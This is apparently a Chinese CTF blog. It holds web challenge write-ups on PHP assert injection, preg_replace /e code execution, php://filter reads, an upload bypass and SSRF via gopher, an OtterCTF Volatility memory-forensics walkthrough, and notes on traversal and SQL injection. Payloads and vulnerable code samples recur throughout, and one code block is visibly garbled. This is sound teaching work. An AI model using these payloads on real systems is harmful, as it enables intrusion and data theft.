yzklov


  • Home

  • Archives

  • Tags

  • Search

刷题

Posted on 2023-10-10

mfw

Git是一个版本控制系统,在配置不当的情况下,可能会导致.git文件夹被直接部署到线上环境中,这可能会导致Git泄露问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" 1') or system('cat+./templates/flag.php');// . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
```

payload:

1
?page=') or system('cat ./templates/flag.php');//

传入之后变成:

1
$file="templates/') or system('cat ./templates/flag.php');//.php"

strpos()返回false,再利用or让其执行system函数,再用” // “将后面的语句注释掉

1
assert("strpos('template/') or system('cat ./template/flag.php');//.php, '..') === false")

下划线内容被注释掉了,所以assert执行了以下语句

1
strpos('template/') or system('cat ./template/flag.php');

or:如果表达式1为 true,那么整个逻辑或操作返回 true,不会再去计算表达式2,这被称为”短路评估”,如果表达式1为 false,那么整个逻辑或操作会继续评估表达式2,如果表达式2为 true,则整个操作返回 true,否则返回 false

右键查看源代码

image-20230927110013408

simple_js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

<html>
<head>
<title>JS</title>
<script type="text/javascript">
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

h = window.prompt('Enter password');
alert( dechiffre(h) );

</script>
</head>

</html>

代码实际上就是将pass的用逗号分隔的数字当作ascii转换为字母,无论dechiffre函数传参什么,结果都是 FAUX PASSWORD HAHAimage-20230927123112312

可以直接猜测dechiffre函数传参的那一串转换为文本

16进制转字符串:https://www.bejson.com/convert/ox2str/

55,56,54,79,115,69,114,116,107,49,50

ascii转文本:https://www.67tool.com/number/ascii-to-text

786OsErtk12

初探SSTI

MVC是一种框架型模式,全名是Model View Controller,即模型-视图-控制器,这是一种业务逻辑、数据、界面显示分离的组织代码方式,便于web网站的维护和开发

模型:处理数据验证,控制器:在模型和视图之间传递数据,视图:显示信息给用户

过程:用户的输入请求通过 View 接收,交给 Controller ,然后由 Controller 调用 Model ,验证信息后返回正确或错误给 Controller, Controller要求处理相应(正确则显示相应信息,错误404)的视图返回给浏览器。

模板(ssti漏洞产生原因):是View 中会大量地用到的一种技术,用于定义数据如何渲染成最终的用户界面,而用户的输入由view接收,用户的恶意输入未经任何处理就将其作为 Web 应用模板内容的一部分,而模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,就会导致敏感信息泄露、代码执行、GetShell 等问题,这样的服务器端模板引擎漏洞就是ssti漏洞。

常见的模板引擎

Python:jinja2、 mako、 tornado(框架)、 django

php:smarty、 twig

java:jade、 velocity

模板引擎生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,放到渲染函数里,生成模板+用户数据的前端html页面,最后反馈给浏览器。大部分模板引擎有提供沙箱隔离机制 , 但存在沙箱逃逸技术来绕过,这个后面再了解

image-20230927230411892

框架:在Web开发中,框架和模板通常一起使用。框架提供了应用程序的整体结构和逻辑,包括路由、控制器和数据模型等。模板则负责将数据渲染成HTML或其他格式的用户界面,以便呈现给终端用户。框架通常提供一种将数据传递给模板的机制。

Twig(PHP)

Twig是一个用于PHP的流行的模板引擎

Flask框架

渲染方法有两种 : render_template() 和 render_template_string()

ender_template() 函数,渲染一个指定的文件 , 这个指定的文件其实就是模板

image-20230927231612877

image-20230927231620453

image-20230927231649505

render_template_string() 函数渲染一个字符串

image-20230927231655444

image-20230927231701528

render_template_string()函数->ssti

ssti简单例子

1
2
3
4
@app.route('/test')
def test():
html = '{{12*12}}'
return flask.render_template_string(html)

在flask框架中,模板引擎Jinja2会将{{ --- }}视为变量标识符,会将其包含的内容作为变量处理,从而包裹的语句被执行(flask+Jinja2是比较常用的组合)

引擎判断

image-20230927232317680

绿色为执行成功,红色为执行失败,{{7*'7'}}在Twig中返回49,在Jinja2中返回77777777

框架和模板概念区分

许多框架采用了MVC设计模式作为其架构的一部分,mvc是一种设计模型,而框架是以mvc为设计架构一部分的实体,Flask框架本身不是一个严格的MVC(Model-View-Controller)框架,但它提供了足够的灵活性,可以根据开发人员的需要实现MVC结构或其他类似的设计模式。

cat

抓包加入字典判断猜测

image-20230929163500908

传%80,根据报错信息,网页中出现大量Django,说明是Django框架,匹配报错信息中database关键字

image-20230929171119595

根据database的目录,我们使用@进行文件传递,对文件进行读取之后还会把内容传给url参数,如果像上面一样有超出解析范围的编码的时候就会得到错误信息

1
?url=@/opt/api/database.sqlite3

页面搜索ctf,找到flag

?url=@/opt/api/api/settings.py也可以访问配置文件settings.py,但是其实在上面的报错信息中就可以找到database的路径。另外,上面的报错信息是html代码,所以可以复制代码,打开为网页查看

image-20230929174327555

image-20230929174353265

这里就可以直观的看到setting中的database信息

附录:

url编码:当 URL 路径或者查询参数中,带有中文或者特殊字符的时候,需要对 URL 进行编码。URL 之所以需要编码,是因为 URL 中的某些字符会引起歧义,比如 URL 查询参数中包含了”&”或者”%”就会造成服务器解析错误。需要注意的是url编码采用的是十六进制,参照ascii码,比如?编码后是%3F->63->?

image-20230929170444274

从1-127,因为%80的16进制解码后是128,超出了ascii的表示范围,所以会报错,%df,%a0同理

curl参数上传:在PHP中使用CURL进行文件上传时,@符号加上文件路径,CURL将自动读取该文件内容并将其作为请求参数,即使输入的文件路径有错或不存在,CURL仍然可以正常上传。

PHP2

查看index.phps,相当于是index.php的备份吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

在url链接里直接运行,浏览器会进行一次url解码,所以要传入二次编码,就把a编码,由于a是在ascii表中,所以编码后依然是a,但我们知道a的ascii是97,所以%61解码后是a,直接再次编码,%2561

payload:?id=%2561dmin

simple_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?

admin是字符串,开头不是数字,所以和0弱相等,经过测试admin在if条件判断中为真,所以if($a==0 and $a)为真,b=1235c,不是纯数字,开头数字大于1234即可

fileclude

image-20231010145235176

1
2
3
4
5
$a[]='flag.php';   

$a=array('flag.php');

$a=['flag.php'];

这里嵌套,使用第三种形式

1
?a=1e9&b=53724&c={"m":"2033a","n":array(array(1,0),0)} 

如果是c={"m":"2033%00","n":[[0,2],0]},就需要url编码,最好都编码一下

file_include

image-20231010150216244

include一个check.php,说明一定有过滤,常规php://filter/read=convert.base64-encode/resource=flag.php
image-20231010150320739

尝试给filename传read、base64,encode被过滤,知道了过滤点,flag没有过滤
绕过:convert.过滤器支持convert.iconv.格式
使用方法:

1
2
3
convert.iconv.<input-encoding>.<output-encoding>
或
convert.iconv.<input-encoding>/<output-encoding>
1
php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php

php支持的编码格式(部分):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
SJIS-mac(别名:MacJapanese)
SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
SJIS-Mobile#KDDI(别名:SJIS-KDDI)
SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
UTF-8-Mobile#KDDI-A
UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)

upload1

image-20231010153053389

想上传.php后缀发现弹窗

image-20231010153126518

上传键被禁

image-20231010153212033

删了这个disable,直接上传即可

127.0.0.1 && find / -name "flag*" 找不到flag的时候可以直接搜

SHCTF&0xgame

Posted on 2023-10-06

SHCTF

[WEEK1]飞机大战

查看js,发现分数要大于99999,所以转到控制器

image-20231006131627245

修改分数点击回车后,点击开始游戏就会弹出flag

image-20231006131558566

image-20231006131759294

法二:直接在js中发现won函数,里面的unicode编码解码后就是flag

image-20231006131912160

[WEEK1]ezphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 <?php
error_reporting(0);
if(isset($_GET['code']) && isset($_POST['pattern']))
{
$pattern=$_POST['pattern'];
if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code))
{
$code=$_GET['code'];
preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);
echo "you are smart";
}else{
die("try again");
}
}else{
die("it is begin");
}
?>
it is begin

重点代码为:

1
preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);

payload:

1
2
POST /?code=${phpinfo()} HTTP/1.1
pattern=\S*

自己理解:正则匹配模式设置为:匹配输入字符串中的连续非空白字符序列,所以匹配到了${phpinfo()},\\1捕获了该字符串,又由于是/e模式:表示替换字符串中的匹配部分将被视为 PHP 代码,并执行它,所以print_r("${phpinfo()}")被执行
在环境中找到flag
image-20231006144747769

[WEEK1]ez_serialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class A{
public $var_1='php://filter/read=convert.base64-encode/resource=flag.php';
}
class B{
public $q;
}
class C{
public $var;
public $z;

}
class D{
public $p;

}
$a = new A();
$b = new B();
$c = new C();
$d = new D();
$d->p = $a;
$c->z = $d;
$b->q = $c;
echo serialize($b);
?>

[WEEK1]1zzphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 <?php 
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
$code = (String)$_POST['c_ode'];
$num=$_GET['num'];
if(preg_match("/[0-9]/", $num))
{
die("no number!");
}
elseif(intval($num))
{
if(preg_match('/.+?SHCTF/is', $code))
{
die('no touch!');
}
if(stripos($code,'2023SHCTF') === FALSE)
{
die('what do you want');
}
echo $flag;
}
}

绕过if(preg_match("/[0-9]/", $num)):因为preg_match第二个参数必须是string类型,当我们传入数组num[]=1时,preg_match函数会报错,返回false。而后面intval函数的第一个参数是mixed:接受多种不同的数据类型,所以返回的是1,进入内层if。

if(preg_match('/.+?SHCTF/is', $code))绕过:字符串数量超过1000000时,preg_match函数会挂掉,后面再接上payload就不会被匹配到,上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
code = "very"*250000+"2023SHCTF"

payload = "/?num[]=1"

url = "http://112.6.51.212:30458"
data={

'c[ode':code #这边[到php当中会被当做_

}
r = requests.post(url=url+payload,data=data)
print(r.text)

image-20231006153514460

[WEEK2]serialize

image-20231011114101333

我们需要知道最后要的include在milaoshu类里,我们开始反推,$this->gao=$this->fei;把milaoshu赋给$this->fei触发__tostring(),然后musca中的return $this->ding->dong; 把misca赋给$this->ding触发_get,到达__wakeup(),执行unserialize()时,先会调用这个函数,即到达入口。

整个逻辑是传入序列化后的payload,反序列化的时候触发__wakeup(),然后到get再到tostring(),非常清晰。
数组绕过check,但是发现

image-20231011114947899

这是因为get中调用了miaomiao,把Mikey Mouse~赋值给了成员属性$a,而后面的die括号中是$a,即终止程序并输出括号里的值作为报错信息,不管别的,这里没有输出include+伪协议的内容,那么我们就想到把报错信息改成伪协议读取。$this->gao=$this->fei;触发的tostring,就添加

1
2
3
public function __construct(){
$this->a=&$this->gao;
}

payload:

1
wanna[fl.ag=a:1:{i:0;O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";N;s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}s:4:"dong";N;}}

注意参数中的_要改成[

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

class misca{
public $gao;
public $fei;
public $a;
public function __construct(){
$this->a=&$this->gao;
}
}
class musca{
public $ding;
public $dong;

}
class milaoshu{
public $v='php://filter/read=convert.base64-encode/resource=flag.php';

}
$a = new misca();
$b = new musca();
$c = new milaoshu();
$a->fei = $c;
$b->ding = $a;
echo serialize(array($b));

[WEEK1]生成你的邀请函吧~

1
2
3
4
5
6
API:url/generate_invitation  
Request:POST application/json
Body:{
"name": "Yourname",
"imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg"
}

根据题目要求直接改包

image-20231102114828021

这样看是有数据的

image-20231102114924326

放包,下载下来一个图片

image-20231102115001804****

image-20231102115032865

0xgame

###[Week 1] signin

image-20231001110256175

[Week 1] baby_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /?a=QNKCDZO&b=s878926199a HTTP/1.1
Host: 120.27.148.152:50014
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Origin: http://120.27.148.152:50014
Connection: close
Cookie: name=php://filter/read=convert.base64-encode/resource=flag
Referer: http://120.27.148.152:50014/?a=QNKCDZO&b=s878926199a
Upgrade-Insecure-Requests: 1

c=1024.1a

image-20231001105621221

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /?query=ctf HTTP/1.1
Host: 120.27.148.152:50012
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
X-Forwarded-For: 127.0.0.1
Cookie: role=admin
Upgrade-Insecure-Requests: 1
Content-Length: 14
Content-Type: application/x-www-form-urlencoded

action=getflag

OtterCTF内存取证wp

Posted on 2023-10-03

前言

故事背景是一个叫Rick瑞克的喜欢玩老式游戏的人,而且这人吧还总喜欢用比特彗星下载盗版电影种子,游戏种子,有一天他边玩游戏边下东西,突然电脑中了勒索病毒,文件被锁了,所有后缀变成了.locked,然后取证分析人员拷贝了内存镜像文件,来看看你能从被锁的文件中获取什么信息?

1 - What the password?

题目:你得到了瑞克电脑内存的样本,你能得到他的用户密码吗?

1
vol.py -f OtterCTF.vmem imageinfo

镜像版本为Win7SP1x64

1
vol.py -f OtterCTF.vmem --profile="Win7SP1x64" lsadump

这里发现我的kali在root模式运行这条指令会报错,用户模式就可以

lsadump可以强制显示密码

image-20231003165745271

flag{MortyIsReallyAnOtter}

2-General Info

题目:电脑主机全称和IP地址是什么?

通过网络连接查看ip地址

1
vol.py -f OtterCTF.vmem --profile="Win7SP1x64" netscan

image-20231003171518518

IP地址:192.168.202.131

1
vol.py -f OtterCTF.vmem --profile="Win7SP1x64" printkey -K "ControlSet001\Control\ComputerName\ComputerName"

image-20231003171816388

主机名:WIN-LO6FAF3DTFE,这是最直接的方法,还有一种就是,首先我们知道所有用户信息都会存储到注册表上,所以我们去查看注册表,找到注册表下的SYSTEM系统信息。

1
vol.py -f  OtterCTF.vmem --profile=Win7SP1x64 hivelist

hivelist: 列出所有的注册表项及其虚拟地址和物理地址(第一级)

image-20231003185737061

第一级发现只是目录,而文件的位置使用偏移量来表示,0x开头,使用参数-o,printkey打印出来

1
vol.py -f  OtterCTF.vmem --profile=Win7SP1x64 -o 0xfffff8a000024010 printkey

image-20231003185936033

继续深入下一层路径,\REGISTRY\MACHINE\SYSTEM\ControlSet001,-K是大K代表指定路径的参数

1
vol.py -f OtterCTF.vmem --profile=Win7SP1x64 -o 0xfffff8a000024010 printkey -K "ControlSet001"

最后到”ControlSet001\Control\ComputerName\ComputerName”路径找到主机名

3-Play Time

题目:瑞克只喜欢玩一些老式的电子游戏。你能看出他在玩什么游戏吗?服务器的ip地址是什么?

查看进程,寻找那个游戏的身影

1
vol.py -f OtterCTF.vmem --profile=Win7SP1x64 pslist

image-20231003184645319

发现进程LunarMS.exe,pid=708

image-20231003195325365

image-20231003194853154

flag{LunarMS-77.102.199.102}

4-Name Game1

题目:我们知道账号登录到一个频道叫Lunar-3,这个账号名是?

分析:听名字就知道和刚才那个lunar游戏有关,所以我们先提取一下LunarMS.exe这个进程,然后配合strings命令查找关键词Lunar-3,并匹配上下10行,寻找疑似账号.

将进程提取出来,可以创个文件夹保存

1
vol.py -f OtterCTF.vmem --profile=Win7SP1x64 memdump -p 708 -D ./dump

memdump:提取进程,需要指定进程-p 和输出目录 -D

1
strings ./dump/708.dmp | grep -C 10 "Lunar-3"

image-20231003200813332

linux strings命令:在对象文件或二进制文件中查找可打印的字符串

grep[选项] [模式] [文件名]

这一个也可以strings 708.dmp > 708.dmp.strings将708.dmp中的字符串输出到.strings文件中,然后grep -C 10 “Lunar-3” ./dump708.dmp.strings但是没有必要

在线linux命令查询:https://www.lzltool.com/LinuxCommand

flag{0tt3r8r33z3}

5-Name Game2

题目:通过一些研究,我们发现登录角色的用户名总是在这个签名之后:0x64 0x??{6-8} 0x40 0x06 0x??{18} 0x5a 0x0c 0x00{2},Rick的角色名字是什么?

分析:题目意思是16进制64后6-8位是16进制40 16进制06,再18位后是十六进制5a 十六进制0c 十六进制00。根据这个提示,我们可以将第四题dump下来的文件内容用grep进行筛选有十六进制5a 十六进制0c 十六进制00的片段,并往前进行确认,但这里需要用到kali自带的16进制查看器hexhump

1
hexdump -C ./dump/708.dmp | grep "5a 0c 00" -A 3 -B 3

image-20231003202031453

flag{M0rtyL0L}

6-Silly Rick

题目:傻瑞克总是忘记电子邮件的密码,所以他使用在线存储密码服务来存储他的密码。他总是复制和粘贴密码,这样他就不会出错。瑞克的邮箱密码是什么?

1
vol.py -f OtterCTF.vmem --profile=Win7SP1x64 clipboard

image-20231003202519961

flag{M@il_Pr0vid0rs}

7-Hide And Seek

题目:我们提取了瑞克电脑内存镜像的原因是有一个恶意软件感染,请找到恶意软件的进程名称,包括恶意扩展名,为下一步分析加密密钥做准备。

使用命令pstree查看进程树,最可疑的是PPID大于PID的进程。PID指进程号,操作系统里每打开一个程序都会创建一个进程ID,即PID。PID是各进程的代号,每个进程有唯一的PID编号,它是进程运行时系统分配的。PPID则代表当前进程的父进程ID。

1
vol.py -f OtterCTF.vmem --profile=Win7SP1x64 pstree

image-20231003203114342

发现可疑进程vmware-tray.exe,而且发现Rick And Morty.exe就是它的父进程

具体为什么他是恶意程序,我们进行深入挖掘一下,用dlllist命令打印每个进程加载的动态链接库列表,-p指向pid

1
vol.py -f OtterCTF.vmem --profile=Win7SP1x64 dlllist -p 3720

image-20231003203802650

发现了他在Temp目录下运行,要知道Temp是windows下的临时文件夹,一般程序不会放在此文件夹中,放在此文件夹中的程序一般为恶意程序。

也可以查看进程调用的命令

1
vol.py -f OtterCTF.vmem --profile=Win7SP1x64 cmdline -p 3820,3720

image-20231003204410287

flag{vmware-tray.exe}

8-Path To Glory1

题目:恶意软件是怎么进入瑞克的电脑的?这一定是一种古老的违法习惯

根据上面的命令调用,恶意软件是被下载下来的

filescan:扫描所有文件列表,通过关键字Rick And Morty,查找可能与恶意软件进入电脑有关的文件,因为前言中说到rick用种子下载盗版电影、游戏。

1
vol.py -f OtterCTF.vmem --profile=Win7SP1x64 filescan | grep 'Rick And Morty'

image-20231003205825806

有6个文件,3个种子文件和3个exe文件,先将种子文件分别dump下来,进行分析

1
vol.py -f OtterCTF.vmem --profile=Win7SP1x64 dumpfiles -Q 0x000000007dae9350 -D ./dump

image-20231003210149931

1
strings ./dump/file.None.0xfffffa801b42c9e0.dat 

image-20231003210501369

查看第二个种子文件时,发现website,说明是通过网站下载的

image-20231003205251617

种子文件就是记载下载文件的存放位置、大小、下载服务器的地址、发布者的地址等数据的一个索引文件

flag{M3an_T0rren7_4_R!cke}

9-Path To Glory2

题目:在恶意软件进入后继续搜索

其实单看题目根本不知道要干什么,其实这题就是承接上一题,发现是从网站上下载的,自然想到浏览器,所以我们转存所有chrome的进程,然后使用strings命令配合grep命令查找Rick And Morty下载的相关数据

1
vol.py -f OtterCTF.vmem --profile=Win7SP1x64 memdump -n chrome -D ./dump 
1
strings ./dump/* | grep 'Rick And Morty season 1 download.exe' -C 10

image-20231003212236116

感觉题目就是提示flag的位置,但是flag好像和具体题目没什么关系

flag{Hum@n_I5_Th3_Weak3s7_Link_In_Th3_Ch@inYear}

10-Bit 4 Bit

题目:我们已经发现这个恶意软件是一个勒索软件。查找攻击者的比特币地址(其实就是说请逆向并分析)

1
vol.py -f OtterCTF.vmem --profile=Win7SP1x64 procdump -p 3720 -D ./dump

procdump:进程转储成可执行文件

直接搜索address,就可发现出flag

image-20231003213854852

或者根据题目中的提示“ransomware”,就直接找出flag

1
strings -e l  OtterCTF.vmem | grep -i -A 5 "ransomware"

image-20231003214135080

flag{1MmpEmebJkqXG8nQv4cjJSmxZQFVmFo63M}

11-Graphic’s For The Weak

题目:恶意软件的图形中有一些可疑之处

foremost分离可执行文件,图片上就是flag

image-20231003214517900

12-Recovery

题目:瑞克得把他的文件找回来!用来加密文件的随机密码是说明?

ssrf

Posted on 2023-09-18

ssrf简介

ssrf即服务器端请求伪造,利用服务器可以请求本地和内网中其他ip的权限,攻击者通过构造服务器请求,实现本地文件、信息获取和对内网中的ip进行端口扫描等。
漏洞成因:服务端提供了从其他服务器和本地获取数据的功能且没有对目标地址做过滤与限制,如:从指定URL地址获取网页文本内容,加载指定地址的图片,下载

ssrf中常用伪协议

1
2
3
4
file://:访问本地文件系统
http/s:探测内网主机存活
dict:泄露安装软件版本信息,查看端口,操作内网redis服务
Gopher:利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求

涉及函数

curl_exec()

curl_exec函数用于执行指定的cURL会话

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0); //设置为0表示禁用所有错误报告
highlight_file(__FILE__); //在浏览器中高亮显示当前脚本文件的源代码,__FILE__是一个魔术常量,表示当前脚本的文件名
$url=$_POST['url']; //初始化了一个CURL会话并将指定的URL作为参数传递给它
$ch=curl_init($url);
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_HEADER, 0); //设置CURL会话的选项,将HEADER选项设置为0,表示不包括HTTP响应头部信息
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//设置CURL会话的选项,将RETURNTRANSFER选项设置为1,表示将抓取的内容作为字符串返回,而不是直接输出到浏览器。
$result=curl_exec($ch); //执行CURL会话,抓取指定URL的内容,并将结果存储在"$result"变量中
curl_close($ch); //关闭CURL会话,释放与之相关的资源
echo ($result); //显示在用户的浏览器中
?>

实现从指定的URL地址抓取内容并将其显示在浏览器中,相当于一个ssrf漏洞代码
利用:post传参url=127.0.0.1/flag.php

fsockopen()

打开一个网络连接或者一个Unix套接字连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$host=$_GET['url'];
$fp = fsockopen("$host",80, $errno, $errstr,30);
if(!$fp){
echo "$errstr ($errno)<br />\n";
}else{
$out ="GET / HTTP/1.1\r\n";
$out .="Host: $host\r\n";
$out .="Connection: Close\r\n\r\n";
fwrite($fp, $out);
while(!feof($fp)){
echo fgets($fp,1024);
}
fclose($fp);
}
?>

函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限,传输原始数据

CTFHub-ssrf-POST请求

hint:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
curl:强大的开源库,支持多种协议,用来发送请求
御剑扫描php 200、3xx,探测到flag.php、index.php //扫不到
?url=127.0.0.1/flag.php请求本地文件,右键源码

1
2
3
4
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=f27ff60682bab433bdd6eaf0d129d94f-->
</form>

发现key
?url=file:///var/www/html/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}

$ch = curl_init(); //初始化一次curl对话,ch返回curl句柄
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); //curlopt_url需要获取的 URL 地址
curl_setopt($ch, CURLOPT_HEADER, 0); //启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 位掩码, 1 (301 永久重定向)
curl_exec($ch);
curl_close($ch);

?url=file:///var/www/html/flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag; #当post传值为key时使出flag
exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

思路:往flag.php传key值就可以得到flag,而index.php可以利用curl传url,那么我们可以用gopher协议在index.php中构造post请求包往flag.php传key值,以此获取flag
POST包必须包含的四个参数:Content-Type,Content-Length,host,post
POST包如下:

1
2
3
4
5
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36 //长度为key的长度
key=ed200db79375f224af615ef4be4a006f

gopher的数据需要用url编码三次之后再发送

第一次编码后的数据%0A替换%0D%0A,把替换后的数据进行第二次url编码,为什么要把%0A替换呢?回车换行,编码的时候忽略了LF(换行)
url在线:http://www.jsons.cn/urlencode/
payload:

1
/?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Length%25253A%25252036%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250A%25250D%25250Akey%25253Ded200db79375f224af615ef4be4a006f

//前面的http可加可不加
为什么不同的在线解码url结果不同
redis是什么
参考:从一文中了解SSRF的各种绕过姿势及攻击思路

web漏洞

Posted on 2023-08-20

目录遍历漏洞

漏洞源码1:

1
2
3
4
if(isset($_GET['title'])){
$filename=$_GET['title'];
//这里直接把传进来的内容进行了require(),造成问题
require "soup/$filename";

在dir_list.php文件中直接包含了soup文件夹下的文件,引发了目录遍历漏洞,通过此漏洞可能读取到网站根目录中的敏感文件(../)

因为title=soup/jarheads.php传入的php文件是嵌套在html中的,所以会在界面中展示

上面只是包含,加上这几行代码,查看源代码显示

1
2
3
4
$filename = "soup/$filename";
$handle = fopen ($filename,"r") ;
$contents = fread($handle,filesize($filename) ) ;
echo $contents;

漏洞源码2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

function my_dir($dir) {
$files = [];
if(@$handle = opendir($dir)) {
while(($file = readdir($handle)) !== false) {
if($file != ".." && $file != ".") {
if(is_dir($dir . "/" . $file)) { //如果是子文件夹,进行递归
$files[$file] = my_dir($dir . "/" . $file);
} else {
$files[] = $file;
}
}
}
closedir($handle);
}
return $files;
}

echo "<pre>";
$d=$_GET['d']; //没有防范
print_r(my_dir($d));
echo "</pre>";

传入参数d=pikachu,就会遍历目录下的所有文件,会出现..\打印上级目录,这样会出现网站源码结构泄露

sql注入漏洞

sql注入就是在数据交互中,前端数据传到后台时没有做严格的判断,导致传进来的数据被拼接到sql语句中,被当作sql语句的一部分进行执行

注入时信息收集


mysql的版本5.0以上才有information_schema数据库

  • 信息收集:
    查询数据库 version()
    数据库名字 databaase()
    数据库用户 user()
    操作系统 @@version_compile_os

